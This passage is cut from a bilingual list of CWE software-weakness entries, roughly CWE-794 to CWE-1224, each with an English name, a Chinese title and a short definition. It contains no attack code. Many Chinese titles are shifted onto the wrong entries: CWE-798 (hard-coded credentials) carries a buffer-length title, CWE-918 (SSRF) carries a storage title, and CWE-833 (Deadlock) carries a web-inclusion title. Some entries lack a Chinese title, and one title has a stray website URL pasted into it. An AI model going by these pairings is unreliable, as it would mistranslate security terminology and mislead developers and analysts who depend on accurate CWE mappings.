of a Special Element title_zh:对一个或多个特殊元素实例的过滤不完全 The product receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component. ### CWEID:CWE-794 Incomplete Filtering of Multiple Instances of Special Elements title_zh:对特殊元素的多个实例的过滤不完全 The product receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component. ### CWEID:CWE-795 Only Filtering Special Elements at a Specified Location title_zh:仅在一个特定位置过滤特殊元素 The product receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component. ### CWEID:CWE-796 Only Filtering Special Elements Relative to a Marker title_zh:仅过滤与一个标记相关的特殊元素 The product receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component. ### CWEID:CWE-797 Only Filtering Special Elements at an Absolute Position title_zh:仅在一个绝对路径位置过滤特殊元素 The product receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component. ### CWEID:CWE-799 Improper Control of Interaction Frequency title_zh:交互频率的控制不恰当 The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests. ### CWEID:CWE-804 Guessable CAPTCHA title_zh:可猜测的验证码 The product uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor. ### CWEID:CWE-798 Use of Hard-coded Credentials title_zh:使用不正确的长度值访问缓冲区 The product contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data. ### CWEID:CWE-821 Incorrect Synchronization The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource. ### CWEID:CWE-806 Buffer Access Using Size of Source Buffer title_zh:在安全决策中依赖未经信任的输入 The product uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer. ### CWEID:CWE-805 Buffer Access with Incorrect Length Value title_zh:非可信指针解引用 The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer. ### CWEID:CWE-820 Missing Synchronization title_zh:缺失同步机制 The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource. ### CWEID:CWE-822 Untrusted Pointer Dereference title_zh:不正确的同步机制 The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer. ### CWEID:CWE-807 Reliance on Untrusted Inputs in a Security Decision title_zh:使用越界的指针偏移 The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism. ### CWEID:CWE-824 Access of Uninitialized Pointer title_zh:使用未经初始化的指针 The product accesses or uses a pointer that has not been initialized. ### CWEID:CWE-825 Expired Pointer Dereference title_zh:无效指针解引用 The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid. ### CWEID:CWE-823 Use of Out-of-range Pointer Offset The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer. ### CWEID:CWE-826 Premature Release of Resource During Expected Lifetime title_zh:文档类型定义的不恰当控制 The product releases a resource that is still intended to be used by itself or another actor. ### CWEID:CWE-827 Improper Control of Document Type Definition title_zh:非异步安全功能中的信号处理例程 The product does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the product to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker. ### CWEID:CWE-828 Signal Handler with Functionality that is not Asynchronous-Safe title_zh:从非可信控制范围包含功能例程 The product defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted. ### CWEID:CWE-830 Inclusion of Web Functionality from an Untrusted Source The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source. ### CWEID:CWE-832 Unlock of a Resource that is not Locked title_zh:过度迭代 The product attempts to unlock a resource that is not locked. ### CWEID:CWE-833 Deadlock title_zh:从非可信源包含Web功能例程 The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock. ### CWEID:CWE-834 Excessive Iteration title_zh:不可达退出条件的循环(无限循环) The product performs an iteration or loop without sufficiently limiting the number of times that the loop is executed. ### CWEID:CWE-829 Inclusion of Functionality from Untrusted Control Sphere title_zh:在认证机制中使用口令哈希代替口令 The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. ### CWEID:CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop') title_zh:死锁 The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. ### CWEID:CWE-836 Use of Password Hash Instead of Password for Authentication The product records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store. ### CWEID:CWE-831 Signal Handler Function Associated with Multiple Signals title_zh:使用硬编码的凭证 The product defines a function that is used as a handler for more than one signal. ### CWEID:CWE-837 Improper Enforcement of a Single, Unique Action title_zh:输出上下文语义编码不恰当 The product requires that an actor should only be able to perform an action once, or to have only one unique action, but the product does not enforce or improperly enforces this restriction. ### CWEID:CWE-841 Improper Enforcement of Behavioral Workflow The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence. ### CWEID:CWE-842 Placement of User into Incorrect Group title_zh:行为工作流的不恰当实施 The product or the administrator places a user into an incorrect group. ### CWEID:CWE-839 Numeric Range Comparison Without Minimum Check title_zh:未进行最小值检查的数值范围比较 The product checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum. ### CWEID:CWE-838 Inappropriate Encoding for Output Context The product uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component. ### CWEID:CWE-843 Access of Resource Using Incompatible Type ('Type Confusion') title_zh:使用不兼容类型访问资源(类型混淆) The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type. ### CWEID:CWE-908 Use of Uninitialized Resource title_zh:授权机制缺失 The product uses or accesses a resource that has not been initialized. ### CWEID:CWE-862 Missing Authorization title_zh:资源初始化缺失 The product does not perform an authorization check when an actor attempts to access a resource or perform an action. ### CWEID:CWE-863 Incorrect Authorization title_zh:使用过期的文件描述符 The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions. ### CWEID:CWE-910 Use of Expired File Descriptor title_zh:授权机制不正确 The product uses or accesses a file descriptor after it has been closed. ### CWEID:CWE-911 Improper Update of Reference Count title_zh:对未经初始化资源的使用 The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count. ### CWEID:CWE-912 Hidden Functionality title_zh:隐藏功能 The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators. ### CWEID:CWE-909 Missing Initialization of Resource title_zh:动态识别变量的控制不恰当 The product does not initialize a critical resource. ### CWEID:CWE-914 Improper Control of Dynamically-Identified Variables title_zh:引用计数的更新不恰当 The product does not properly restrict reading from or writing to dynamically-identified variables. ### CWEID:CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed. ### CWEID:CWE-920 Improper Restriction of Power Consumption title_zh:使用具有不充分计算复杂性的口令哈希 The product operates in an environment in which power is a limited resource that cannot be automatically replenished, but the product does not properly restrict the amount of power that its operation consumes. ### CWEID:CWE-921 Storage of Sensitive Data in a Mechanism without Access Control title_zh:服务端请求伪造(SSRF) The product stores sensitive information in a file system or device that does not have built-in access control. ### CWEID:CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes title_zh:表达式语言语句中使用的特殊元素转义处理不恰当(表达式语言注入) The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. ### CWEID:CWE-916 Use of Password Hash With Insufficient Computational Effort The product generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive. ### CWEID:CWE-918 Server-Side Request Forgery (SSRF) title_zh:在没有访问控制机制中存储敏感数据 The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. ### CWEID:CWE-922 Insecure Storage of Sensitive Information title_zh:敏感信息的不安全存储 The product stores sensitive information without properly limiting read or write access by unauthorized actors. ### CWEID:CWE-923 Improper Restriction of Communication Channel to Intended Endpoints title_zh:动态管理代码资源的控制不恰当 The product establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint. ### CWEID:CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel title_zh:通信信道中传输过程中消息完整性的不正确执行 The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission. ### CWEID:CWE-925 Improper Verification of Intent by Broadcast Receiver title_zh:通信信道对预期端点的不适当限制 The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source. ### CWEID:CWE-926 Improper Export of Android Application Components The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains. ### CWEID:CWE-939 Improper Authorization in Handler for Custom URL Scheme The product uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme. ### CWEID:CWE-940 Improper Verification of Source of a Communication Channel The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin. ### CWEID:CWE-927 Use of Implicit Intent for Sensitive Communication title_zh:自定义URL方案处理程序中的授权不正确 The Android application uses an implicit intent for transmitting sensitive data to other applications. ### CWEID:CWE-941 Incorrectly Specified Destination in a Communication Channel title_zh:通信信道源的不正确验证 The product creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor. ### CWEID:CWE-943 Improper Neutralization of Special Elements in Data Query Logic title_zh:屏幕显示出的不同编码的同形字母不易区分 The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. ### CWEID:CWE-942 Permissive Cross-domain Policy with Untrusted Domains title_zh:过度许可的跨域白名单 The product uses a cross-domain policy file that includes domains that should not be trusted. ### CWEID:CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag title_zh:通信信道中错误指定的目的地 The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag. ### CWEID:CWE-1021 Improper Restriction of Rendered UI Layers or Frames title_zh:数据查询逻辑中特殊元素的不当中和 The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with. ### CWEID:CWE-913 Improper Control of Dynamically-Managed Code Resources title_zh:没有’HttpOnly’标志的敏感Cookie The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements. ### CWEID:CWE-1007 Insufficient Visual Distinction of Homoglyphs Presented to User title_zh:不当限制渲染UI层或帧 The product displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action. ### CWEID:CWE-1023 Incomplete Comparison with Missing Factors title_zh:使用windows.opener访问指向不可信目标的web链接 The product performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors. ### CWEID:CWE-1025 Comparison Using Wrong Factors title_zh:缺失要素致使对比不完全 The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses. ### CWEID:CWE-1037 Processor Optimization Removal or Modification of Security-critical Code title_zh:不兼容类型的比较 The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified. ### CWEID:CWE-1022 Use of Web Link to Untrusted Target with window.opener Access The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property. ### CWEID:CWE-1038 Insecure Automated Optimizations title_zh:使用冗余代码 The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption. ### CWEID:CWE-1039 Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations title_zh:使用错误要素进行比较 The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept. ### CWEID:CWE-1041 Use of Redundant Code title_zh:不安全的自动优化 The product has multiple functions, methods, procedures, macros, etc. that contain the same code. ### CWEID:CWE-1042 Static Member Data Element outside of a Singleton Class Element title_zh:自动识别机制在检测或处理对抗性输入扰动时能力不足 The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action. ### CWEID:CWE-1043 Data Element Aggregating an Excessively Large Number of Non-Primitive Elements title_zh:单例类元素外部的静态成员数据元素 The product uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects. ### CWEID:CWE-1044 Architecture with Number of Horizontal Layers Outside of Expected Range title_zh:聚合大量非原始元素的元素 The product's architecture contains too many - or too few - horizontal layers. ### CWEID:CWE-1045 Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor title_zh:体系架构的水平层数超出预期范围 A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor. ### CWEID:CWE-1046 Creation of Immutable Text Using String Concatenation title_zh:带有虚拟析构函数的父类和没有虚拟析构函数的子类 The product creates an immutable text string using string concatenation operations. ### CWEID:CWE-1024 Comparison of Incompatible Types title_zh:使用字符串连接创建不可变文本 The product performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared. ### CWEID:CWE-1047 Modules with Circular Dependencies title_zh:具有循环依赖关系的模块 The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies. ### CWEID:CWE-1048 Invokable Control Element with Large Number of Outward Calls title_zh:具有大量外拨电话的可调用控制元素http://vulsee.com The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large. ### CWEID:CWE-1050 Excessive Platform Resource Consumption within a Loop title_zh:大数据表中的数据查询操作过多 The product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors. ### CWEID:CWE-1049 Excessive Data Query Operations in a Large Data Table title_zh:使用硬编码的网络资源配置数据进行初始化 The product performs a data query with a large number of joins and sub-queries on a large data table. ### CWEID:CWE-1054 Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer title_zh:循环内过多的平台资源消耗 The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer. ### CWEID:CWE-1052 Excessive Use of Hard-Coded Literals in Initialization title_zh:在初始化中过多使用硬编码字面量 The product initializes a data element using a hard-coded literal that is not a simple integer or static constant element. ### CWEID:CWE-1051 Initialization with Hard-Coded Network Resource Configuration Data The product initializes data using hard-coded values that act as network resource identifiers. ### CWEID:CWE-1053 Missing Documentation for Design title_zh:在不必要的深度水平层上调用控制元素 The product does not have documentation that represents how it is designed. ### CWEID:CWE-1059 Insufficient Technical Documentation title_zh:具体类的多重继承 The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc. ### CWEID:CWE-1055 Multiple Inheritance from Concrete Classes title_zh:具有可变参数的可调用控制元素 The product contains a class with inheritance from more than one concrete class. ### CWEID:CWE-1057 Data Access Operations Outside of Expected Data Manager Component title_zh:预期的数据管理组件之外的数据访问操作 The product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager. ### CWEID:CWE-1056 Invokable Control Element with Variadic Parameters title_zh:具有非最终静态可存储或成员元素的多线程上下文中的可调用控制元素 A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments. ### CWEID:CWE-1058 Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element title_zh:不完整的文件 The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element. ### CWEID:CWE-1063 Creation of Class Instance within a Static Code Block title_zh:封装不足 A static code block creates an instance of a class. ### CWEID:CWE-1060 Excessive Number of Inefficient Server-Side Data Accesses title_zh:在静态代码块中创建类实例 The product performs too many data queries without using efficient data processing functionality such as stored procedures. ### CWEID:CWE-1061 Insufficient Encapsulation title_zh:无效的服务器端数据访问次数过多 The product does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend. ### CWEID:CWE-1068 Inconsistency Between Implementation and Documented Design title_zh:父类参考子类 The implementation of the product is not consistent with the design as described within the relevant documentation. ### CWEID:CWE-1062 Parent Class with References to Child Class title_zh:包含过多签名参数的可调用控件元素 The code has a parent class that contains references to a child class, its methods, or its members. ### CWEID:CWE-1064 Invokable Control Element with Signature Containing an Excessive Number of Parameters title_zh:缺少序列化控件元素 The product contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments. ### CWEID:CWE-1066 Missing Serialization Control Element title_zh:在应用服务器上运行组件的资源管理控制元素 The product contains a serializable data element that does not have an associated serialization method. ### CWEID:CWE-1067 Excessive Execution of Sequential Searches of Data Resource title_zh:可序列化数据元素中包含不可序列化项的元素 The product contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed. ### CWEID:CWE-1071 Empty Code Block title_zh:空的代码块 The source code contains a block that does not contain any code, i.e., the block is empty. ### CWEID:CWE-1069 Empty Exception Block title_zh:软件实现和设计文档不一致 An invokable code block contains an exception handling block that does not contain any code, i.e. is empty. ### CWEID:CWE-1070 Serializable Data Element Containing non-Serializable Item Elements title_zh:对数据资源进行顺序搜索的过度执行 The product contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable. ### CWEID:CWE-1072 Data Resource Access without Use of Connection Pooling title_zh:空异常块 The product accesses a data resource through a database without using a connection pooling capability. ### CWEID:CWE-1076 Insufficient Adherence to Expected Conventions title_zh:不使用连接池访问数据资源 The product's architecture, source code, design, documentation, or other artifact does not follow required conventions. ### CWEID:CWE-1073 Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses title_zh:使用过多的非SQL调用控制组件进行数据资源访问 The product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities. ### CWEID:CWE-1065 Runtime Resource Management Control Element in a Component Built to Run on Application Servers title_zh:继承过深的类 The product uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server. ### CWEID:CWE-1074 Class with Excessively Deep Inheritance title_zh:使用不正确的比较运算符比较浮点值 A class has an inheritance level that is too high, i.e., it has a large number of parent classes. ### CWEID:CWE-1075 Unconditional Control Flow Transfer outside of Switch Block title_zh:对预期协议的遵守不足 The product performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block. ### CWEID:CWE-1077 Floating Point Comparison with Incorrect Operator title_zh:开关块外部无条件控制流转移 The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision. ### CWEID:CWE-1078 Inappropriate Source Code Style or Formatting title_zh:没有虚析构函数方法的父类 The source code does not follow desired style or formatting for indentation, white space, comments, etc. ### CWEID:CWE-1080 Source Code File with Excessive Number of Lines of Code title_zh:源代码文件的代码行数过多 A source code file has too many lines of code. ### CWEID:CWE-1083 Data Access from Outside Expected Data Manager Component title_zh:存在类实例自毁控制元素 The product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component. ### CWEID:CWE-1082 Class Instance Self Destruction Control Element title_zh:不适当的源代码样式或格式 The code contains a class instance that calls the method or function to delete or destroy itself. ### CWEID:CWE-1084 Invokable Control Element with Excessive File or Data Access Operations title_zh:具有过多文件或数据访问操作的可调用控件元素 A function or method contains too many operations that utilize a data manager or file resource. ### CWEID:CWE-1085 Invokable Control Element with Excessive Volume of Commented-out Code title_zh:从外部预期的数据管理器组件进行数据访问 A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body. ### CWEID:CWE-1086 Class with Excessive Number of Child Classes title_zh:可调用控制元素中的注释代码量过大 A class contains an unnecessarily large number of children. ### CWEID:CWE-1087 Class with Virtual Method without a Virtual Destructor title_zh:子类过多的类 A class contains a virtual method, but the method does not have an associated virtual destructor. ### CWEID:CWE-1079 Parent Class without Virtual Destructor Method title_zh:没有虚析构函数的虚拟方法类 A parent class contains one or more child classes, but the parent class does not have a virtual destructor method. ### CWEID:CWE-1088 Synchronous Access of Remote Resource without Timeout title_zh:远程资源无超时同步访问 The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite. ### CWEID:CWE-1089 Large Data Table with Excessive Number of Indices title_zh:在多个架构层中使用相同的可调用控件元素 The product uses a large data table that contains an excessively large number of indices. ### CWEID:CWE-1090 Method Containing Access of a Member Element from Another Class title_zh:包含从另一个类访问成员元素的方法 A method for a class performs an operation that directly accesses a member element from another class. ### CWEID:CWE-1095 Loop Condition Value Update within the Loop title_zh:索引过多的大数据表 The product uses a loop with a control flow condition based on a value that is updated within the body of the loop. ### CWEID:CWE-1091 Use of Object without Invoking Destructor Method title_zh:在不调用析构函数方法的情况下使用对象 The product contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method. ### CWEID:CWE-1092 Use of Same Invokable Control Element in Multiple Architectural Layers title_zh:不带关联比较控制元素的持久可存储数据元素 The product uses the same control element across multiple architectural layers. ### CWEID:CWE-1093 Excessively Complex Data Representation title_zh:数据资源的索引范围扫描过大 The product uses an unnecessarily complex internal representation for its data structures or interrelationships between those structures. ### CWEID:CWE-1094 Excessive Index Range Scan for a Data Resource title_zh:数据表示过于复杂 The product contains an index range scan for a large data table, but the scan can cover a large number of rows. ### CWEID:CWE-1096 Singleton Class Instance Creation without Proper Locking or Synchronization title_zh:循环内循环条件值更新 The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once. ### CWEID:CWE-1097 Persistent Storable Data Element without Associated Comparison Control Element title_zh:在没有正确锁定或同步的情况下创建单实例类实例 The product uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison. ### CWEID:CWE-1099 Inconsistent Naming Conventions for Identifiers title_zh:包含指针项但没有正确的复制控件元素的数据元素 The product's code, documentation, or other artifacts do not consistently use the same naming conventions for variables, callables, groups of related callables, I/O capabilities, data types, file names, or similar types of elements. ### CWEID:CWE-1098 Data Element containing Pointer Item without Proper Copy Control Element The code contains a data element with a pointer that does not have an associated copy or constructor method. ### CWEID:CWE-1100 Insufficient Isolation of System-Dependent Functions The product or code does not isolate system-dependent functionality into separate standalone modules. ### CWEID:CWE-1101 Reliance on Runtime Component in Generated Code The product uses automatically-generated code that cannot be executed without a specific runtime support component. ### CWEID:CWE-1102 Reliance on Machine-Dependent Data Representation title_zh:使用依赖于平台的第三方组件 The code uses a data representation that relies on low-level data representation or constructs that may vary across different processors, physical machines, OSes, or other physical components. ### CWEID:CWE-1103 Use of Platform-Dependent Third Party Components title_zh:生成代码中对运行时组件的依赖 The product relies on third-party components that do not provide equivalent functionality across all desirable platforms. ### CWEID:CWE-1104 Use of Unmaintained Third Party Components title_zh:使用未维护的第三方组件 The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer. ### CWEID:CWE-1105 Insufficient Encapsulation of Machine-Dependent Functionality title_zh:机器相关功能的封装不足 The product or code uses machine-dependent functionality, but it does not sufficiently encapsulate or isolate this functionality from the rest of the code. ### CWEID:CWE-1106 Insufficient Use of Symbolic Constants The source code uses literal constants that may need to change or evolve over time, instead of using symbolic constants. ### CWEID:CWE-1107 Insufficient Isolation of Symbolic Constant Definitions The source code uses symbolic constants, but it does not sufficiently place the definitions of these constants into a more centralized or isolated location. ### CWEID:CWE-1109 Use of Same Variable for Multiple Purposes The code contains a callable, block, or other code element in which the same variable is used to control more than one unique task or store more than one instance of data. ### CWEID:CWE-1110 Incomplete Design Documentation The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design. ### CWEID:CWE-1111 Incomplete I/O Documentation The product's documentation does not adequately define inputs, outputs, or system/software interfaces. ### CWEID:CWE-1112 Incomplete Documentation of Program Execution The document does not fully define all mechanisms that are used to control or influence how product-specific programs are executed. ### CWEID:CWE-1113 Inappropriate Comment Style The source code uses comment styles or formats that are inconsistent or do not follow expected standards for the product. ### CWEID:CWE-1114 Inappropriate Whitespace Style The source code contains whitespace that is inconsistent across the code or does not follow expected standards for the product. ### CWEID:CWE-1115 Source Code Element without Standard Prologue The source code contains elements such as source files that do not consistently provide a prologue or header that has been standardized for the project. ### CWEID:CWE-1108 Excessive Reliance on Global Variables The code is structured in a way that relies too much on using or setting global variables throughout various points in the code, instead of preserving the associated information in a narrower, more local context. ### CWEID:CWE-1116 Inaccurate Comments The source code contains comments that do not accurately describe or explain aspects of the portion of the code with which the comment is associated. ### CWEID:CWE-1117 Callable with Insufficient Behavioral Summary The code contains a function or method whose signature and/or associated inline documentation does not sufficiently describe the callable's inputs, outputs, side effects, assumptions, or return codes. ### CWEID:CWE-1118 Insufficient Documentation of Error Handling Techniques The documentation does not sufficiently describe the techniques that are used for error handling, exception processing, or similar mechanisms. ### CWEID:CWE-1119 Excessive Use of Unconditional Branching The code uses too many unconditional branches (such as "goto"). ### CWEID:CWE-1120 Excessive Code Complexity title_zh:McCabe环复杂性过大 The code is too complex, as calculated using a well-defined, quantitative measure. ### CWEID:CWE-1121 Excessive McCabe Cyclomatic Complexity The code contains McCabe cyclomatic complexity that exceeds a desirable maximum. ### CWEID:CWE-1122 Excessive Halstead Complexity The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum. ### CWEID:CWE-1123 Excessive Use of Self-Modifying Code The product uses too much self-modifying code. ### CWEID:CWE-1124 Excessively Deep Nesting title_zh:验证框架使用不当 The code contains a callable or other code grouping in which the nesting / branching is too deep. ### CWEID:CWE-1125 Excessive Attack Surface title_zh:不相关代码 The product has an attack surface whose quantitative measurement exceeds a desirable maximum. ### CWEID:CWE-1126 Declaration of Variable with Unnecessarily Wide Scope title_zh:代码过于复杂 The source code declares a variable in one scope, but the variable is only used within a narrower scope. ### CWEID:CWE-1127 Compilation with Insufficient Warnings or Errors title_zh:低效的CPU计算 The code is compiled without sufficient warnings enabled, which may prevent the detection of subtle bugs or quality issues. ### CWEID:CWE-1164 Irrelevant Code title_zh:使用被禁止的代码 The product contains code that is not essential for execution, i.e. makes no state changes and has no side effects that alter data or control flow, such that removal of the code would have no impact to functionality or correctness. ### CWEID:CWE-1187 DEPRECATED: Use of Uninitialized Resource title_zh:使用不必要的大范围声明变量 This entry has been deprecated because it was a duplicate of :CWE-908:. All content has been transferred to :CWE-908:. ### CWEID:CWE-1174 ASP.NET Misconfiguration: Improper Model Validation title_zh:不安全的默认资源初始化 The ASP.NET application does not use, or incorrectly uses, the model validation framework. ### CWEID:CWE-1176 Inefficient CPU Computation The product performs CPU computations using algorithms that are not as efficient as they could be for the needs of the developer, i.e., the computations can be optimized further. ### CWEID:CWE-1173 Improper Use of Validation Framework title_zh:警告或错误不足的编译 The product does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library. ### CWEID:CWE-1177 Use of Prohibited Code The product uses a function, library, or third party component that has been explicitly prohibited, whether by the developer or the customer. ### CWEID:CWE-1188 Insecure Default Initialization of Resource The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. ### CWEID:CWE-1190 DMA Device Enabled Too Early in Boot Phase The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product. ### CWEID:CWE-1189 Improper Isolation of Shared Resources on System-on-a-Chip (SoC) The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents. ### CWEID:CWE-1193 Power-On of Untrusted Execution Core Before Enabling Fabric Access Control The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled. ### CWEID:CWE-1192 System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components. ### CWEID:CWE-1191 On-Chip Debug and Test Interface With Improper Access Control The chip does not implement or does not correctly perform access control to check whether users are authorized to access internal registers and test modes through the physical debug/test interface. ### CWEID:CWE-1204 Generation of Weak Initialization Vector (IV) The product uses a cryptographic primitive that uses an Initialization Vector (IV), but the product does not generate IVs that are sufficiently unpredictable or unique according to the expected cryptographic requirements for that primitive. ### CWEID:CWE-1221 Incorrect Register Defaults or Module Parameters Hardware description language code incorrectly defines register defaults or hardware IP parameters to insecure values. ### CWEID:CWE-1222 Insufficient Granularity of Address Regions Protected by Register Locks title_zh:使用未初始化的资源 The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process. ### CWEID:CWE-1220 Insufficient Granularity of Access Control The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets. ### CWEID:CWE-1223 Race Condition for Write-Once Attributes A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue. ### CWEID:CWE-1224 Improper Restriction of Write-Once Bit Fields The hardware design control register "sticky bits" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software. ### CWEID:CWE-1209 